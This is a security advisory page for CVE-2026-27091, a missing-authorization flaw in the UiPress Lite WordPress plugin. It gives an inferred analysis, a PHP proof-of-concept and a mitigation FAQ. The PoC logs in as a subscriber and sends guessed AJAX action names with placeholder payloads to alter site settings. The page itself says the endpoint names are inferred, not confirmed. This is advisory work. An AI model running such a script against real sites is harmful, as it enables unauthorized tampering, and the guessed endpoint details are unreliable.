Atomic Edge analysis of CVE-2026-27091 (metadata-based):
This vulnerability stems from a missing capability check in the UiPress Lite WordPress plugin. The CWE-862 classification confirms the absence of proper authorization verification before executing a privileged function. The description states authenticated attackers with subscriber-level access can perform unauthorized actions. This indicates the plugin registers an AJAX handler, REST endpoint, or admin-post action without verifying the user’s capability (like ‘manage_options’ or a plugin-specific capability). The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) confirms network accessibility, low attack complexity, low privilege requirement, no user interaction, and low integrity impact with no confidentiality or availability effect. The vulnerability likely involves a function triggered via a WordPress hook (wp_ajax_{action}, rest_api_init, or admin_post_{action}) that modifies plugin settings, user preferences, or site data. The fix requires adding a capability check (current_user_can()) or a nonce verification with proper permissions before the sensitive operation. Exploitation allows subscribers to alter data they should not control, potentially disrupting administrative configurations or user experiences. Atomic Edge research infers the endpoint structure from WordPress plugin conventions, as no patched version or code diff is available for confirmation.
CVE-2026-27091: UiPress lite | Effortless custom dashboards, admin themes and pages <= 3.5.09 – Missing Authorization (uipress-lite)
CVE-2026-27091
uipress-lite
3.5.09
—
Analysis Overview
Differential between vulnerable and patched code
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27091 - UiPress lite | Effortless custom dashboards, admin themes and pages <= 3.5.09 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-27091
* Assumptions:
* 1. The plugin registers a vulnerable AJAX action handler for both privileged and non-privileged users (wp_ajax_nopriv_* not required).
* 2. The action name likely contains the plugin slug 'uipress' or 'uip'.
* 3. The endpoint is the standard WordPress AJAX handler.
* 4. The attack requires a low-privilege (subscriber) WordPress account.
*/
$target_url = 'https://vulnerable-site.com'; // CHANGE THIS
$username = 'subscriber'; // CHANGE THIS - subscriber-level account
$password = 'password'; // CHANGE THIS
// Step 1: Authenticate and obtain session cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Exploit the missing authorization via AJAX
// Common vulnerable action patterns based on plugin slug
$possible_actions = [
'uipress_save_settings',
'uip_save_options',
'uipress_update_preferences',
'uip_update_data',
'uipress_process_action'
];
foreach ($possible_actions as $action) {
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
// Generic payload that might trigger unauthorized modification
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => $action,
'data' => 'unauthorized_change',
'option' => 'test_exploit',
'value' => 'compromised'
]));
$ajax_response = curl_exec($ch);
echo "Testing action: $actionn";
echo "Response: $ajax_responsenn";
// Add delay to avoid rate limiting
sleep(1);
}
curl_close($ch);
unlink('cookies.txt');
?>Frequently Asked Questions
What is CVE-2026-27091?
Understanding the vulnerabilityCVE-2026-27091 is a security vulnerability in the UiPress lite plugin for WordPress, which allows authenticated users with subscriber-level access and above to perform unauthorized actions due to a missing capability check. This can lead to unauthorized modifications of site settings or user data.
How does this vulnerability work?
Mechanism of exploitationThe vulnerability arises from a lack of proper authorization checks in a function that handles AJAX requests within the plugin. Attackers can exploit this by sending requests to the plugin’s endpoints without sufficient permissions, allowing them to alter data or settings they should not have access to.
Who is affected by this vulnerability?
Identifying vulnerable usersAny WordPress site using the UiPress lite plugin version 3.5.09 or earlier is at risk. This includes sites where authenticated users have subscriber-level access or higher, as they can exploit the vulnerability to perform unauthorized actions.
How can I check if my site is vulnerable?
Verifying plugin versionTo check if your site is vulnerable, verify the version of the UiPress lite plugin installed. If it is version 3.5.09 or earlier, your site is susceptible to this vulnerability. Additionally, review your site’s user roles to identify any subscribers or higher who may exploit the issue.
How can I fix this vulnerability?
Mitigation stepsThe primary fix is to update the UiPress lite plugin to the latest version where the vulnerability has been patched. If an update is not available, consider implementing custom code to add capability checks or nonce verification to the vulnerable functions to prevent unauthorized access.
What does the CVSS score of 4.3 mean?
Understanding risk levelsA CVSS score of 4.3 indicates a medium severity vulnerability. This means that while the vulnerability is not critical, it poses a significant risk that should be addressed, particularly because it allows authenticated users to perform unauthorized actions.
What is the impact of this vulnerability?
Consequences of exploitationIf exploited, this vulnerability allows unauthorized users to modify site settings or user data, potentially disrupting the site’s functionality and user experience. This could lead to unauthorized changes that affect the integrity of the site.
What is a proof of concept (PoC)?
Demonstrating the vulnerabilityA proof of concept (PoC) is a demonstration that illustrates how the vulnerability can be exploited. In this case, the PoC shows how an authenticated subscriber can send requests to the vulnerable plugin’s AJAX handler to perform actions they should not be allowed to.
What should I do if I cannot update the plugin immediately?
Interim measuresIf an immediate update is not possible, you should implement custom code to restrict access to the vulnerable functions by adding capability checks. Additionally, consider reviewing user roles and permissions to limit access for subscribers until a patch is applied.
How can I monitor for exploitation attempts?
Enhancing security awarenessTo monitor for exploitation attempts, enable logging for AJAX requests and review logs for unusual activity, especially from authenticated users. Consider using security plugins that can alert you to suspicious actions or unauthorized access attempts.
Where can I find more information about this vulnerability?
Resources for further readingMore information about CVE-2026-27091 can be found on the official CVE database, security advisories from the plugin developers, and security-focused websites that track vulnerabilities in WordPress plugins.
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